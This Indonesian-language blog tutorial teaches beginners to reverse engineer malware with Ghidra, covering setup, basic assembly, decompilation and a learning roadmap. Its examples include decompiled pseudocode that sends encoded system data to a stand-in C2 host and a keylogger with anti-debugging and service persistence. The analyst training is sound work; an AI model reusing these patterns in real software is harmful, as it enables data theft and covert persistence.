Reverse Engineering Dasar dengan Ghidra — Membongkar Kode Malware
Pengantar reverse engineering malware dengan Ghidra: dari setup project, membaca assembly dasar, dekompilasi kode, hingga memahami logika malware. Untuk pemula yang siap naik level.

Lo udah bisa analisis statis. Lo udah jago analisis dinamis di sandbox. Sekarang saatnya naik ke level yang bikin lo jadi malware analyst sejati: reverse engineering.
Reverse engineering (RE) adalah proses membongkar software untuk memahami cara kerjanya — tanpa punya source code aslinya. Dalam konteks malware, lo "membedah" binary executable untuk melihat logika, algoritma, dan teknik yang dipakai attacker.
Ini level yang paling teknis, paling menantang, dan — jujur aja — paling memuaskan. Karena begitu lo berhasil memahami apa yang dilakukan malware di level assembly... rasanya kayak detektif yang berhasil memecahkan kode rahasia.
Di artikel ini, kita bakal kenalan dengan Ghidra — tools reverse engineering open-source dari NSA (iya, NSA beneran). Lo bakal belajar setup project, navigasi interface, baca assembly (yang penting-penting aja), dan dekompilasi kode malware.
Apa Itu Ghidra dan Kenapa Harus Pakai?
Ghidra adalah Software Reverse Engineering (SRE) framework yang dikembangkan oleh National Security Agency (NSA) Amerika Serikat. Dirilis sebagai open-source pada tahun 2019.
Kenapa Ghidra (bukan IDA Pro)?
| Aspek | Ghidra | IDA Pro |
|---|---|---|
| Harga | Gratis (Apache 2.0) | $1,879 - $5,149/tahun |
| Decompiler | Built-in, gratis | Butuh Hex-Rays (bayar lagi) |
| Collaboration | Shared project via server | Tidak ada (versi standalone) |
| Scripting | Python 3 & Java | Python & IDC |
| Platform | Windows, Linux, macOS | Windows, Linux, macOS |
| Learning curve | Moderate | Steep |
Buat pemula: Ghidra jelas pemenangnya. Gratis, decompiler bawaan, dan UI yang lebih modern.
Konsep Dasar Reverse Engineering
Sebelum buka Ghidra, lo harus paham beberapa konsep dasar:
1. Source Code → Compile → Binary
Programmer nulis kode (C/C++/Rust) → compiler mengubah jadi machine code (binary) → CPU menjalankan machine code.
Reverse engineering adalah proses kebalikannya: dari binary → (mencoba) kembali ke kode yang bisa dipahami manusia.
2. Disassembly vs Decompilation
- Disassembly: menerjemahkan machine code ke assembly language (instruksi low-level seperti
mov,push,call). Semua tools RE bisa lakukan ini. - Decompilation: mencoba menerjemahkan machine code ke bahasa tingkat tinggi (seperti C). Ini jauh lebih susah — dan Ghidra salah satu yang jago.
Decompiler nggak sempurna. Output-nya kadang aneh, nama variabel hilang, struktur data kacau. Tapi jauh lebih mudah dibaca daripada assembly mentah.
3. x86/x64 Assembly (Yang Perlu Lo Tau)
Lo nggak perlu jago assembly untuk mulai RE. Tapi beberapa instruksi dasar wajib lo kenali:
| Instruksi | Arti |
|---|---|
mov eax, 5 |
Pindahkan nilai 5 ke register EAX |
add eax, ebx |
EAX = EAX + EBX |
cmp eax, 10 |
Bandingkan EAX dengan 10 |
jne 0x401000 |
Lompat ke alamat 0x401000 jika tidak sama (jump if not equal) |
call 0x402000 |
Panggil fungsi di alamat 0x402000 |
push ebp |
Simpan nilai ke stack |
pop ebp |
Ambil nilai dari stack |
xor eax, eax |
EAX = 0 (cara cepat untuk nol-in register) |
test eax, eax |
Cek apakah EAX == 0 |
Nggak perlu hapal semua. Yang penting lo bisa baca flow: "oh, ini compare lalu jump — berarti ada conditional branch."
Setup Ghidra dan Buka Project Pertama
Install Ghidra:
- Download dari ghidra-sre.org.
- Install Java JDK 17+ (Ghidra butuh Java).
- Ekstrak Ghidra, jalankan
ghidraRun.bat(Windows) ataughidraRun(Linux).
Bikin Project Baru:
- File → New Project → Non-Shared Project.
- Pilih folder untuk project, kasih nama.
- Import file malware: File → Import File → pilih
malware.exe. - Double-click file di project → Ghidra akan analisis.
- Saat pop-up "Analyze?" → klik Yes → pilih default analyzers → Analyze.
Proses analisis memakan waktu beberapa detik sampai menit (tergantung ukuran file).
Navigasi Interface Ghidra
Setelah analisis selesai, lo bakal liat beberapa panel:
1. Program Tree
Menampilkan struktur file: sections (.text, .data, .rdata), imported functions, exported functions. Klik salah satu untuk navigasi.
2. Listing (Code Browser)
Ini panel utama. Tampilan disassembly dengan assembly code di tengah. Lo bisa:
- Scroll untuk lihat kode.
- Klik nama fungsi untuk melompat.
- Hover diatas instruksi untuk lihat detail.
- Tekan
Duntuk mengubah data menjadi tipe tertentu (byte, word, dword, string). - Tekan
Cuntuk clear (batalin perubahan).
3. Decompiler
Di sebelah kanan ada panel decompiler. Ini yang bikin Ghidra istimewa. Decompiler otomatis menerjemahkan assembly ke kode mirip C.
Contoh:
Assembly:
PUSH ebp
MOV ebp, esp
MOV eax, [ebp+8]
ADD eax, [ebp+12]
POP ebp
RET
Decompiled:
int add(int a, int b) {
return a + b;
}
Jauh lebih enak dibaca kan? Itulah power decompiler.
4. Symbol Tree
Daftar semua fungsi, label, class, namespace yang ada di binary. Berguna untuk navigasi cepat.
5. Data Type Manager
Manajemen tipe data. Lo bisa define struct, enum, typedef untuk membantu analisis.
Workflow Reverse Engineering Dasar
Step 1: Temukan Entry Point
Entry point adalah alamat pertama yang dieksekusi begitu program dijalankan. Di Ghidra, biasanya ditandai dengan label entry atau _start.
Navigasi ke entry point. Ini titik awal analisis.
Step 2: Ikuti Alur Program
Dari entry point, ikuti alurnya:
- Ada
callke fungsi lain? Klik nama fungsinya, lihat isinya. - Ada
jmpataujne/je/jg? Itu conditional branch — program membuat keputusan. - Ada loop? (biasanya ada
cmp+jmpyang balik ke atas).
Ghidra bisa bikin control flow graph (CFG) — visualisasi alur program dengan kotak dan panah. Klik kanan di fungsi → Graph Output.
Step 3: Rename Variabel dan Fungsi
Decompiler ngasih nama generik: local_c, param_1, FUN_00401000. Lo bisa rename untuk memperjelas.
- Klik kanan nama fungsi → Rename Function → kasih nama deskriptif seperti
encrypt_filesatauconnect_to_c2. - Klik kanan variabel → Rename Variable.
Ini bikin analisis makin mudah karena lo mengganti nama generik dengan nama yang bermakna.
Step 4: Pahami Logika Malware
Dengan decompiler, lo bisa baca logika malware:
void main() {
char* url = "http://malware-c2.xyz/gate.php";
char* data = collect_system_info();
char* encoded = base64_encode(data);
send_post_request(url, encoded);
add_to_startup("WindowsUpdate");
}
Dari kode di atas, jelas banget: malware ngumpulin info sistem, encode dengan base64, kirim ke C2, dan tambahin diri ke startup.
Step 5: Identifikasi Fungsi Penting
Malware sering memanggil API Windows. Kenali fungsi-fungsi yang sering muncul:
InternetOpenW+InternetConnectW+HttpSendRequestW→ malware ngirim data via HTTP.CreateFileW+WriteFile→ malware nulis file ke disk (dropper).RegSetValueExW→ persistence via registry.CreateToolhelp32Snapshot+Process32First/Next→ process enumeration.
Di Ghidra, lo bisa search: Search → For Strings → cari nama fungsi, lalu liat siapa yang manggil fungsi itu.
Studi Kasus Kecil: Reverse Engineering Sederhana
Anggap lo punya file sample.exe hasil analisis statis yang mencurigakan. Lo buka di Ghidra.
Di decompiler, lo liat fungsi main:
void entry(void) {
BOOL isDebugged = IsDebuggerPresent();
if (isDebugged != 0) {
ExitProcess(0);
}
SC_HANDLE scManager = OpenSCManagerA(NULL, NULL, 0xF003F);
SC_HANDLE service = CreateServiceA(
scManager, "WindUpdate", "Windows Update Service",
0xF01FF, 0x10, 2, 0,
"C:\\Users\\Public\\update.exe", NULL, NULL, NULL, NULL, NULL
);
StartServiceA(service, 0, NULL);
while (1) {
Sleep(60000);
send_keystrokes_to_c2();
}
}
Apa yang bisa lo simpulkan?
- Anti-debugging:
IsDebuggerPresent()— kalau di-debug, langsung exit. Attacker nggak mau malware-nya di-RE. - Persistence:
CreateServiceA— bikin Windows service bernama "WindUpdate" (mirip "WinUpdate" yang legit — social engineering). - Keylogging:
send_keystrokes_to_c2()dipanggil setiap 60 detik (Sleep 60000 ms). - Loop forever:
while(1)— malware ini persistent dan berjalan terus.
Dalam 10 menit dengan Ghidra, lo udah paham persis apa yang dilakukan malware ini.
Teknik Reverse Engineering Lanjutan (Sekilas)
Artikel ini baru dasarnya. Untuk yang lebih advanced, lo perlu pelajari:
1. Debugging (x64dbg)
Kalau Ghidra untuk analisis statis di level assembly, debugger seperti x64dbg untuk analisis dinamis di level assembly. Lo bisa:
- Set breakpoint di alamat tertentu.
- Step through instruksi satu per satu.
- Lihat isi register dan memory secara real-time.
- Modifikasi nilai saat runtime.
2. Unpacking Manual
Malware yang di-packed dengan protector komersial (Themida, VMProtect) nggak bisa di-unpack otomatis. Lo harus manual:
- Temukan OEP (Original Entry Point) — alamat asli sebelum di-pack.
- Dump process memory setelah unpacking di memori.
- Rebuild import table.
Ini skill advanced. Tapi worth it karena banyak malware targeted yang pakai packer komersial.
3. Scripting Ghidra
Ghidra support Python 3 dan Java scripting. Lo bisa otomatisasi tugas repetitif:
- Auto-rename fungsi.
- Cari pattern spesifik di binary.
- Ekstrak konfigurasi malware.
Tools Alternatif
Kalau Ghidra terasa berat atau lo pengen alternatif:
- IDA Free — versi gratis dari IDA Pro, fitur terbatas.
- radare2 / Cutter — open-source, ringan, GUI-nya Cutter.
- Binary Ninja — berbayar ($299 personal) tapi UI bagus dan decompiler canggih.
- x64dbg — debugger, bukan decompiler. Tapi esensial untuk dynamic RE.
Penutup
Reverse engineering adalah puncak dari skill malware analysis. Lo bukan cuma tau bahwa file ini malware — lo tau PERSIS bagaimana cara kerjanya. Lo bisa bilang ke tim: "Malware ini pakai keylogging, kirim data via HTTP POST ke domain X, dan persist lewat Windows service bernama Y."
Tapi RE juga skill yang paling lama dipelajari. Jangan frustrasi kalau lo buka Ghidra pertama kali dan merasa "gila, ini apa semua?". Itu normal. Semua orang ngalamin.
Jalurnya:
- Kuasai analisis statis dulu.
- Kuasai analisis dinamis.
- Mulai RE dari sampel sederhana (crackme, bukan malware beneran).
- Pelan-pelan naik ke sampel malware beneran.
Di artikel berikutnya, kita bakal deep dive ke analisis ransomware — dari cara kerja enkripsi, algoritma yang dipakai, sampai kemungkinan decrypt tanpa bayar tebusan. Stay tuned!
Ada pertanyaan tentang Ghidra? Kontak gue. Butuh referensi? Malware & Analisis.
Happy reversing!
Belajar RE: The Practical Path
Gue tau setelah baca artikel ini, lo mungkin merasa overwhelmed. "Assembly? Decompiler? Control flow graph? Ini terlalu banyak!"
Tenang. Semua malware analyst profesional juga mulai dari nol. Nggak ada yang langsung jago. Ini roadmap belajar RE yang realistis:
Bulan 1: Kenali tools dan konsep.
- Install Ghidra.
- Buka file sederhana (bukan malware) — misalnya notepad.exe atau calc.exe.
- Biasakan navigasi: scroll, klik, search.
- Jangan coba pahami semua instruksi assembly. Cukup kenali pattern: ini
call, inijmp, inicmp.
Bulan 2: Mulai dengan crackme.
- Download crackme dari crackmes.one.
- Tantangannya simpel: cari password atau serial key yang benar.
- Mulai dari level 1 (termudah). Kalau stuck, baca write-up dari orang lain.
- Ini cara terbaik belajar RE tanpa risiko malware beneran.
Bulan 3: Reverse engineer malware sederhana.
- Cari sampel malware di MalwareBazaar yang sudah banyak write-up-nya.
- Analisis sendiri dulu. Baru baca write-up orang lain untuk verifikasi.
- Fokus ke memahami flow, bukan menghapal assembly.
Bulan 4-6: Makin mahir.
- Mulai reverse engineer malware tanpa write-up.
- Pelajari teknik unpacking manual.
- Eksplorasi debugging dengan x64dbg.
Yang penting: konsisten. 30 menit setiap hari > 5 jam di akhir pekan. RE adalah skill yang dibangun dengan jam terbang, bukan bakat alami.
Dan ingat: nggak semua malware analyst harus jago RE. Banyak yang cukup dengan analisis statis + dinamis. Tapi kalau lo kuasai RE... lo jadi analyst yang jauh lebih bernilai.
Latihan: Reverse Engineering Crackme Pertama Lo
Daripada langsung terjun ke malware, coba reverse engineer crackme dulu. Download crackme level 1 dari crackmes.one — biasanya tantangannya sederhana: "temukan password yang benar". Buka di Ghidra, navigasi ke fungsi main, dan coba baca logikanya. Cari instruksi cmp atau strcmp yang membandingkan input user dengan password. Sekarang lihat apa yang dibandingkan — itu passwordnya. Kerjakan 5 crackme level 1. Kalau udah lancar, naik ke level 2. Jangan buru-buru buka malware beneran. Bangun confidence lo dulu dengan crackme. Trust me — ini cara belajar yang paling efektif dan paling tidak membuat frustrasi. Teruslah berlatih. Seperti belajar bahasa asing, semakin sering lo "membaca" assembly, semakin alami rasanya. Dulu gue juga merinding lihat mov eax, [ebp-4]. Sekarang udah kayak baca koran. Semua butuh waktu dan jam terbang. Jadi nikmati prosesnya. Selain itu, gabunglah ke komunitas reverse engineering. Banyak grup Discord dan forum yang welcome untuk pemula. Kalau lo stuck, jangan malu bertanya. Komunitas RE Indonesia juga mulai tumbuh — cari aja di Telegram atau grup WhatsApp. Belajar bareng selalu lebih cepat dan lebih menyenangkan daripada belajar sendiri.

Written by
Luthfi Ahmad Paradiansyah
Saya adalah CEO Forendigi, perusahaan digital yang berfokus pada solusi forensik digital modern. Berbekal pengalaman mendalam di bidang keamanan siber, analisis data, dan investigasi teknologi, ia berhasil membawa Forendigi menjadi mitra terpercaya bagi institusi, korporasi, serta aparat penegak hukum. Di bawah kepemimpinannya, perusahaan mengembangkan inovasi untuk mengungkap bukti digital dengan akurasi tinggi, menjaga integritas data, serta meningkatkan keamanan informasi. Visi strategis dan kepemimpinan Saya menempatkan Forendigi sebagai pelopor layanan forensik digital yang profesional, adaptif, dan berstandar internasional.





